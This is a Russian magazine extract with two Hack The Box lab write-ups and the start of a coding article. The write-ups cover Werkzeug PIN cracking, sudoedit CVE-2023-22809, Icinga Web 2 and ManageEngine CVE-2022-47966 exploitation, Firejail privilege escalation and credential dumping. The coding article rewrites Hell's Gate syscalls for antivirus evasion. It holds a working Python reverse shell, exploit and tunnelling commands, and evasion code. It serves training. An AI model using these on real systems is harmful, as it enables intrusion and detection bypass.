appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.
py']
nodeuuids = ['345052368982']
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']

combinations = itertools.product(usernames, modnames, appnames,


flaskpaths, nodeuuids, machineids)

for combo in combinations:


username, modname, appname, flaskpath, nodeuuid, machineid =
combo
print('=========')
crack_sha1(username, modname, appname, flaskpath, nodeuuid,
machineid)
print(f'{combo}')
print('=========')

Результат работы скрипта

Первый сгенерированный PIN дает доступ к консоли Python 3, откуда мы лег-


ко получаем системный шелл.

__import__('os').popen('id').read();

Консоль Werkzeug

Теперь используем следующий реверс-шелл Python 3, который поймаем


на листенер pwncat -lp 4321.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

Сессия пользователя www-data

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ FLASK


WERKZEUG

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü corum
Наше приложение использует базу данных, а значит, скорее всего, и пароли
тоже хранит в ней. Попробуем найти учетные данные для подключения к БД.

Поиск подстроки MySQL в исходных кодах приложения

В исходниках ничего найти не удалось, но это не проблема, так как у нас есть
доступ к консоли отладчика приложения. Сначала найдем главный файл при-
ложения app.py в модуле wsgi_app.

Модуль wsgi_app в отладчике

Открываем консоль и получаем из конфига параметры SECRET_KEY


и SQL_URI. Второй содержит учетные данные для подключения к базе.

Параметры SECRET_KEY и SQL_URI

Теперь подключаемся к базе данных и заходим в таблицу superpass.

mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'


use superpass;

Подключение к базе данных

И получаем таблицы из базы superpass.

show tables;

Таблицы в базе superpass

Нам интересна таблица passwords. Смотрим, что в ней.

select * from passwords;

Данные в таблице passwords

Строки из столбца password непохожи на хеши, поэтому попробуем исполь-


зовать их как пароли и переберем при авторизации по SSH от имени поль-
зователя corum.

Флаг пользователя

Флаг пользователя — у нас!

Ïîëüçîâàòåëü edwards
Чтобы повысить привилегии, нужно первым делом собрать информацию. Я,
как обычно, прибегну к скриптам PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Смотрим, что нашел скрипт, и отмечаем для себя важную информацию.


В списке процессов — Google Chrome с активированной удаленной
отладкой на порте 41829.

Дерево процессов

Из списка открытых портов определяем, что порт 41829 доступен только


для обращения с локального хоста.

Список открытых портов

Среди последних модифицированных файлов в системе присутствует


какой-то пакет пользовательских скриптов activate.

Последние модифицированные файлы

Это дает нам вектор атаки. Если у Google Chrome активна удаленная отладка,
значит, можно с помощью другого браузера Chrome подключиться к порту
отладчика и получать все доступные данные. Это позволит как бы «подсмат-
ривать» за пользователем. Но первым делом организуем SSH-туннель так,
чтобы весь трафик, который мы пошлем на локальный порт 41829, был тун-
нелирован на порт 41829 указанного хоста (в данном случае 127.0.0.1) через
SSH.

ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N

Когда туннель готов, можно приступать к настройке браузера. В строке поис-


ка переходим на страницу chrome://inspect и в графе Discover network
targets добавляем запись localhost:41829.

Настройки для разработчиков Chrome

Добавление хоста

Когда пользователь зайдет на любую страницу, мы увидим информацию


об этом. К примеру, в данном случае пользователь зашел на страницу
http://test.superpass.htb.

Информация о подключениях

Выбираем inspect и получаем ту же страницу, что отображается у поль-


зователя.

Отладчик Google Chrome

Так мы получаем новые учетные данные, с которыми можно авторизоваться


в системе от имени пользователя edwards.

Сессия нового пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало
что меняется. Но все же некоторые вещи нужно проверить заново. Одна
из них — настройки sudoers.

sudo -l

Настройки sudoers

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы


пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Видим, что наш пользователь может запустить команды sudoedit /app/


config_test.json и sudoedit /app/app-testing/tests/functional/
creds.txt от имени пользователя и группы dev_admin. А члены этой группы
могут записывать в недавно обнаруженный файл /app/venv/bin/activate,
который периодически выполняется в системе от имени рута.

Права на файл /app/venv/bin/activate

В sudoedit есть известная уязвимость CVE-2023-22809, подробнее можешь


прочитать о ней в отчете Synacktiv (PDF). С помощью этой уязвимости мы
сможем выполнить команду в контексте sudo от имени пользователя
dev_admin. Это дает нам возможность дописать свой код в файл /app/venv/
bin/activate, чтобы запустить что угодно в привилегированном контексте.
Выполним команду nano -- /app/venv/bin/activate:

export EDITOR="nano -- /app/venv/bin/activate"


sudo -u dev_admin sudoedit /app/config_test.json

Эксплуатация уязвимости sudoedit

Теперь открываем файл в nano и дописываем код: chmod u+s /bin/bash. Он


назначит S-бит файлу командной оболочки /bin/bash.

Редактирование файла

Проверка успешной записи

Ждем некоторое время, периодически проверяя права на файл /bin/bash.


Как только заметим выставленный S-бит, получаем привилегированную сес-
сию.

Права на файл /bin/bash

/bin/bash -p

Флаг рута

Машина захвачена!
ВЗЛОМ

ЗАХВАТЫВАЕМ КОНТРОЛЛЕР
ДОМЕНА WINDOWS ЧЕРЕЗ БАГ
SAML SSO

В этом райтапе я покажу, как эксплуати-


ровать уязвимость в сервисе ADSelfService
Plus для захвата домена Active Directory.
По дороге захватим хост на Linux, раскрутив
цепочку уязвимостей в системе мониторин- RalfHacker
hackerralf8@gmail.com
га Icinga Web 2. Повысим привилегии бла-
годаря дыре в сендбоксе Firejail и сдампим
учетные данные из SSSD.

Поможет нам в этом тренировочная машина Cerberus с площадки Hack


The Box. Уровень — сложный.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.205 cerberus.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего один открытый порт! Это порт 8080, на котором работает
веб-сервер Apache 2.4.52. При этом в заголовке http-title сразу отоб-
ражен редирект на домен icinga.cerberus.local, который мы добавляем
в файл /etc/hosts.

10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local

Теперь переходим по этому адресу в браузере, и нас встречает опенсорсная


система мониторинга Icinga Web 2.

Форма авторизации icinga.cerberus.local

ÒÎ×ÊÀ ÂÕÎÄÀ
Первым делом нужно поискать существующие эксплоиты для найденной сис-
темы. Мне удалось выйти на блог, где описаны уязвимости для Icinga Web 2.
И первое, что привлекает внимание, — это баг, позволяющий читать про-
извольные файлы на хосте.

Описание уязвимости чтения произвольных файлов

Пробуем указанным в описании способом прочитать файл /etc/hosts.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/hosts

Содержимое файла /etc/hosts

Но одно дело — иметь такую возможность, а другое — знать, какие файлы


читать. В этом поможет документация Icinga, где можно посмотреть имена
и описание файлов с настройками. Первый интересный файл — это confing.
ini. Он содержит глобальные настройки, к примеру путь к файлам модулей.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/config.ini

Содержимое файла cong.ini

Второй интересный файл — resources.ini. В нем записаны учетные данные


для подключения к базе данных.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-
thirdparty/etc/icingaweb2/resources.ini

Содержимое файла resources.ini

С этими учетными данными получается авторизоваться на сайте.

Главная страница Icinga

ÒÎ×ÊÀ ÎÏÎÐÛ
Теперь у нас есть доступ к сайту, и можно перейти к другой описанной в том
же ресерче уязвимости CVE-2022-24715. Аутентифицированные пользовате-
ли с доступом к настройкам фреймворка могут создавать файлы ресурсов
SSH в непредусмотренных каталогах, что приводит к выполнению произволь-
ного кода. Уязвимость заключается в неправильной проверке переданной
строки в коде на PHP. Если использовать null-байт, то при проверке он будет
учтен и строка получится обрезанной, но в момент записи в файл null-байт
не будет учитываться, что приведет к записи дополнительных данных.

Описание уязвимости

Перед тем как пытаться воспроизвести эти действия вручную, можно пос-
мотреть, нет ли в интернете готового кода, который автоматизирует этот
сложный процесс. Первая ссылка на GitHub приводит к рабочему эксплоиту.
Но прежде чем пускать его в ход, мы должны сгенерировать SSH-ключ.

ssh-keygen -t rsa -m pem

После этого запускаем листенер:

pwncat-cs -lp 4321

И выполняем файл эксплоита:

python3 exploit.py -t http://icinga.cerberus.local:8080/icingaweb2/


-I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa

Результат выполнения эксплоита

Моментально на листенере появляется сессия от имени пользователя www-


data.

Сессия в pwncat-cs

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЗАХВАТЫВАЕМ КОНТРОЛЛЕР ДОМЕНА


WINDOWS ЧЕРЕЗ БАГ SAML SSO

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ (ÕÎÑÒ 1)


Теперь нам нужно собрать информацию о системе. Я буду использовать
для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

В выводе много информации, поэтому отберем только значимую.


На хосте есть необходимые для выполнения кода библиотеки MySQL.

Связанные с MySQL данные

Среди файлов с установленным битом SUID есть неизвестный бинарь


firejail.

Файлы с выставленным битом SUID

Информация о сетевом интерфейсе раскрывает адрес сети — 172.16.22.0.

Информация о сетевом интерфейсе

В дереве процессов находим работающий SSSD — демон для управления


доступом к службам каталогов и механизмам проверки подлинности.

Дерево процессов

Также отмечаем SSSD среди профилей AppArmor.

Профили AppArmor

На хосте присутствует файл /etc/krb5.conf, содержащий настройки


Kerberos для работы в домене.

Содержимое файла /etc/krb5.conf

Информации, конечно, много, но наиболее здесь важно, что у бинарного


файла firejail есть бит SUID.

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Firejail — это система изолированного выполнения графических, консольных


и серверных приложений, которая снижает риск нарушения безопасности
за счет ограничения рабочей среды потенциально уязвимых программ.
Для этого используются пространства имен, фильтрация системных вызовов
и возможности AppArmor.
В таких случаях нужно обязательно проверить техники GTFOBins
или существующие эксплоиты, так как главная задача — просто получить неп-
редумышленное выполнение кода. Быстрый поиск эксплоитов в Google
показал, что это верный путь.

Поиск эксплоитов в Google

Первая же ссылка приводит к рабочему эксплоиту, который я и использовал.


Единственное неудобство — для эксплуатации нам нужно сделать еще одну
сессию. Тогда в первой сессии мы запускаем эксплоит, а во второй исполь-
зуем Firejail для получения привилегированного шелла.

Первая сессия — выполнение эксплоита

firejail --join=35256

Вторая сессия — получение привилегированного шелла

ÏÐÎÄÂÈÆÅÍÈÅ
Демон SSSD может кешировать учетные данные в локальной базе данных.

Содержимое каталога /var/lib/sss/db/

Получим все строки из файла cache_cerberus.local.ldb.

strings /var/lib/sss/db/cache_cerberus.local.ldb

Строки в файле cache_cerberus.local.ldb

В выводе видим хеш пароля пользователя, этот хеш нам предстоит переби-
рать. Но первым делом с помощью справки hashcat определим его тип.

hashcat --example | grep '\$6\$' -A2 -B11

Справка hashcat

Теперь указываем полученный режим перебора хеша — 1800. На выходе


получаем пароль.

hashcat -m 1800 -a 0 hash.txt rockyou.txt

Результат перебора хеша

Чтобы понять, где можно авторизоваться с этими учетными данными, прос-


канируем порты на контроллере домена.

./nmap -p- --min-rate=1500 172.16.22.1

Результат сканирования портов

На хосте работает служба WinRM, и, чтобы подключиться к ней, сделаем тун-


нель. Для этого будем использовать chisel. На локальном хосте запустим
сервер, ожидающий подключения (параметр --reverse) на порт 8888
(параметр -p).

./chisel.bin server -p 8888 --reverse

Логи chisel server

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сер-


вера и порт для подключения, а также настройки туннелирования: с локаль-
ного порта 8888 на порт 5985 хоста 172.16.22.1.

./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985

Логи chisel client

В логах сервера мы должны увидеть сообщение о создании сессии. Как толь-


ко сессия будет создана, пробуем авторизоваться на службе WinRM
с помощью инструмента Evil-WinRM.

evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ (ÕÎÑÒ 2)


Нам снова нужно провести разведку, и снова используем PEASS, на этот раз
версию для Windows.
В списке пользователей отмечаем пользователя службы ADFS.

Найденные домашние каталоги пользователей

Отмечаем открытые для локального хоста нестандартные порты 8888 и 9251.

Список открытых портов

Проверим, что расположено на порте 9251, для чего немного изменим тун-
нель chisel. Для доступа к хосту будем использовать туннель Socks, а для дос-
тупа к внутреннему порту будем прокидывать этот порт.

# --- socks ---


#remote linux
chisel.bin client 10.10.14.75:8888 R:socks

# --- port forwarding ---


#remote windows
chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251

Логи сервера chisel

При попытке просмотреть порт через браузер нам сообщают о небезопас-


ном подключении, то есть необходимо использовать HTTPS.

Сообщение на сайте

Повторяем обращение к серверу, проходим ряд редиректов и встречаем


типичную форму авторизации ADFS.

Страница авторизации ADFS

Теперь пару слов о том, что это такое.

Active Directory Federation Services


ADFS — это функция Active Directory, которая обеспечивает идентификацию
доступа и дает возможность клиентам (в основном на базе браузеров) внутри
или за пределами локальной сети получать доступ к веб-приложениям по тех-
нологии single sign-on (SSO). Так ADFS извлекает атрибуты пользователей
из Active Directory, а также проверяет подлинность пользователей в Active
Directory.
Служба федерации ADFS — компонент серверной платформы Microsoft
Windows Server, реализующий «сервис маркеров доступа» (STS), который
использует службу каталога Active Directory для аутентификации пользовате-
лей и хранения информации о них.
Основные операции:
• первоначальная аутентификация пользователя;
• выпуск маркера доступа (Issue);
• проверка маркера доступа (Validate);
• обновление маркера доступа (Renew);
• аннулирование маркера доступа (Cancel).

Маркер доступа выпускается по факту успешной аутентификации и достовер-


но идентифицирует пользователя приложения. Чтобы получить маркер дос-
тупа, пользователь предоставляет учетные данные AD либо свой сертификат.
Маркер доступа соответствует спецификации SAML Token, которая опре-
деляет синтаксис и структуру маркера. Это расширяемый формат, что поз-
воляет формировать содержание маркера в соответствии с требованиями
приложения, к которому осуществляется доступ. Срок действия маркера
и область применения ограниченны. Маркер доступа содержит информацию
о пользователе в форме набора утверждений (Claims), которые используются
приложением для создания контекста пользователя.
Попробуем авторизоваться в ADFS и получить маркер доступа.

Получение GUID токена (маркера доступа)

Немного поисследовав файловую систему, находим продукт ManageEngine


ADSelfService Plus, который как раз и представляет собой интегрированное
решение для самостоятельного управления паролями и единого входа.
Из базы получим Issuer URL, просто грепнув файлы по строке.

ls -r | Select-String issuer_url | select line,path

Получение Issuer URL

В самом ManageEngine есть нашумевшая уязвимость CVE-2022-47966,


которая приводит к удаленному выполнению кода. Автоматизированный экс-
плоит уже появился в Metasploit Framework. У нас есть необходимые для экс-
плуатации параметры — GUID токена и Issuer URL.

proxychains -q msfconsole
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOST 127.0.0.1
set RPORT 9251
set LHOST 10.10.14.56
exploit

Эксплуатация уязвимости

Мы получили сессию и теперь просто забираем флаг рута.

Флаг рута

Машина захвачена!
КОДИНГ

ПЕРЕПИСЫВАЕМ HELL’S GATE


И ОБХОДИМ АНТИВИРУС

Хочешь узнать, как обойти антивирусные


программы с помощью системных
вызовов? Мы раскроем секреты этой зах-
ватывающей техники, перепишем извес-
тный инструмент, попрограммируем MichelleVermishelle
@Michaelzhm
на ассемблере и поищем паттерны michael.zhmailo@yandex.ru

в памяти, чтобы получить FUD-пейлоад!

×ÒÎ ÒÀÊÎÅ SYSCALL

Многие антивирусные продукты (да и некоторые программы) любят ставить


хуки. Я уже показывал вариант обхода хуков в User Mode через перезапись
библиотеки ntdll.dll. Теперь изучим еще один способ обхода ловушек — через
сисколы.
Сисколы (они же системные вызовы) — очень большая и интересная тема.
Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь
более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок.

•Direct Syscalls: A journey from high to low


•Direct Syscalls vs Indirect Syscalls

Итак, сискол можно считать переходной стадией между пользовательским


режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход
из одного мира системы в другой. Если еще проще, то сискол — просто
обращение к ядру.
Вызовы ядра крайне важны для корректного функционирования системы.
Например, именно заложенные в ядре функции позволяют создавать файлы.
Каждый сискол однозначно идентифицируется по своему номеру. Этот номер
называется по-разному, где-то Syscall Id, где-то Syscall Number, где-то SSN —
System Service Number. Номер сискола подсказывает ядру, что ему нужно
делать. Он заносится в регистр eax, после чего выполняется инструкция
syscall, которая осуществляет переход в режим ядра.

Как выглядит вызов сисколов у разных функций

Проблема в том, что средства защиты могут ставить хуки непосредственно


перед вызовом инструкции syscall. Например, как на следующем скрин-
шоте.

Инструкция jmp перед syscall

Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую


вызывать инструкцию syscall из адресного пространства своего процесса,
такая техника называется Direct Syscall. Мы даже можем обращаться к инс-
трукции syscall, найдя ее адрес в смапленной в наш процесс библиотеке
ntdll.dll (такая техника называется Indirect Syscall). Проблема лишь одна —
нужен SSN. Без номера сискола, сохраненного в регистре eax, ничего
не получится.

ÒÅÕÍÈÊÀ ÏÎÈÑÊÀ SSN

SSN различается от системы к системе. Он зависит от версии Windows. Есть


отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вооб-
ще не вариант. Поэтому давно придуманы способы динамически доставать
номера сисколов, а затем уже с этими номерами выполнять Direct-
или Indirect-вызовы.
Давай разберем один из самых известных методов — Hell’s Gate, а затем
перепишем его под Tartarus Gate.
Техника обнаружения SSN достаточно проста. Сначала, чтобы получить
загруженный в процесс адрес ntdll.dll, программа достает адреса TEB
(Thread Environment Block), затем PEB (Process Environment Block). А после
извлекает из таблицы PEB_LDR_DATA базовый адрес загрузки ntdll.dll.

PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}

INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion
!= 0xA)
return 0x1;

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((


PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink -
0x10);
...
}

Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT


(Export Address Table). В этой таблице содержатся адреса всех экспортиру-
емых из библиотеки функций.

BOOL GetImageExportDirectory(PVOID pModuleBase,


PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)
pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}

// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)
pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}

// Get the EAT


*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)
pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].
VirtualAddress);
return TRUE;
}

После успешного получения всех адресов идет инициализация специальной


структуры — структуры VX_TABLE.

typedef struct _VX_TABLE_ENTRY {


PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {


VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

Таблица VX_TABLE состоит из других структур VX_TABLE_ENTRY. Внутри них


будут заполнены элементы pAddress, dwHash и wSystemCall, которые отве-
чают соответственно за адрес нужной функции, хеш от имени функции (он
потребуется для API Hashing) и номера системного вызова.
Для обнаружения сискола используется функция GetVxTableEntry(),
но перед этим предварительно инициализируется элемент dwHash описанной
выше структуры. Хеш рассчитывается заранее. Для этого используется алго-
ритм djb2, вынесенный в отдельную функцию.

VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &
Table.NtAllocateVirtualMemory))
return 0x1;

GetVxTableEntry() парсит EAT и обнаруживает адрес нужной функции


с помощью API Hashing.

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;

...

После обнаружения нужной функции ее адрес записывается в таблицу,


а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн,
характерный для вызова сискола.

mov r10,rcx
mov rcx,<syscall number>

Так выглядит шаблон вызова сискола

Для этого Hell’s Gate сканирует память на наличие соответствующих опкодов.

if (*((PBYTE)pFunctionAddress + cw) == 0x4c


&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}

Опкоды

Если паттерн найден, начинается вычленение номера сискола. Для наг-


лядности возьмем сискол с «длинным» номером, например 10F. В дизассем-
блере увидим интересную картину.

Как выглядит номер сискола в памяти

Инструкция, сохраняющая номер сискола в регистр eax, выглядит вроде бы


нормально, но если мы посмотрим внимательнее, то увидим, что номер сис-
кола представлен как бы в перевернутом виде.

B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00

Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы


с использованием специального алгоритма.

BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);


BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;

Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что


в high попадает «верхняя» часть, а в low — «нижняя».

Номер сискола

Что вычленяет Hell’s Gate

Соответственно, если алгоритм вычленяет SSN 10F, то переменные ини-


циализируются как 0x1 и 0xF.

Инициализация и high, и low

В wSystemmCall заносится значение high со сдвигом влево на 8 байт.


Это приводит к получению из 0000 0001 значения 1 0000 0000. Следующим
шагом выполняется побитовая операция ИЛИ со значением 0000 1111 (0xF
в двоичной системе счисления), в результате мы получаем 1 0000 1111.
А это, в свою очередь, равно 10F. 10F как раз и есть номер сискола.

Подсчет номера сискола

Дополнительно программа проверяет, не ушли ли мы в поиске номера сис-


кола слишком далеко. Для этого также используются опкоды.

Dead Codes

ÈÇÌÅÍÅÍÈÅ ÀËÃÎÐÈÒÌÀ ÕÅØÈÐÎÂÀÍÈß

Начнем с того, что сменим алгоритм djb2 на какой-нибудь другой, например


на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые ста-
тик-детекты, основанные на хешах используемых нами имен WinAPI-функций.
Для этого создадим функцию, реализующую логику по хешированию.

#define SEED 0xEDB88320

...

unsigned int crc32h(char* message) {


int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}

Конечно, можно было просто поменять SEED-значение и рассчитываемый хеш


в функции djb2(), но мы все-таки решили полноценно переписать инстру-
мент, а не баловаться, меняя переменные.

Hash- и SEED-значения

Для удобства вызова и автоматического приведения к нужному типу соз-


дадим макрос.

#define HASH(API) crc32h((char*)API)

Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу


для пересчета хешей от нужных нам функций.

#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}

#define HASH(API) crc32h((char*)API)


int main() {
printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory",
STR, HASH("NtAllocateVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory",
STR, HASH("NtProtectVirtualMemory"));
printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR,
HASH("NtCreateThreadEx"));
printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR
, HASH("NtWaitForSingleObject"));
return 0;
}

Новые хеши

ÈÇÌÅÍÅÍÈÅ GETVXTABLEENTRY

Как ты помнишь, функция GetVxTableEntry() используется для получения


номера сискола. Проблема в том, что вызывается она далеко не один раз,
но при каждом вызове идет повторный расчет всех нужных адресов, что ска-
зывается на эффективности работы программы. Предлагаю завести отдель-
ную структуру NTDLL_CONFIG, внутри которой будут содержаться все эти дан-
ные. Их достаточно инициализировать лишь единожды, а затем можно просто
обращаться к ним.

typedef struct _NTDLL_CONFIG


{
PDWORD pdwArrayOfAddresses;
PDWORD pdwArrayOfNames;
PWORD pwArrayOfOrdinals;
DWORD dwNumberOfNames;
ULONG_PTR uModule;

}NTDLL_CONFIG, *PNTDLL_CONFIG;

// Глобальная переменная, которая будет все это хранить


NTDLL_CONFIG g_NtdllConf = { 0 };

Для инициализации достаточно один раз вызвать функцию


InitNtdllConfigStructure().

BOOL InitNtdllConfigStructure() {

// Получение PEB
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;

// Получение ntdll.dll (первый элемент. Нулевой — наша программа)


PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb
->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

// Получение базового адреса загрузки ntdll.dll


ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;

// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule +
pImgDosHdr->e_lfanew);
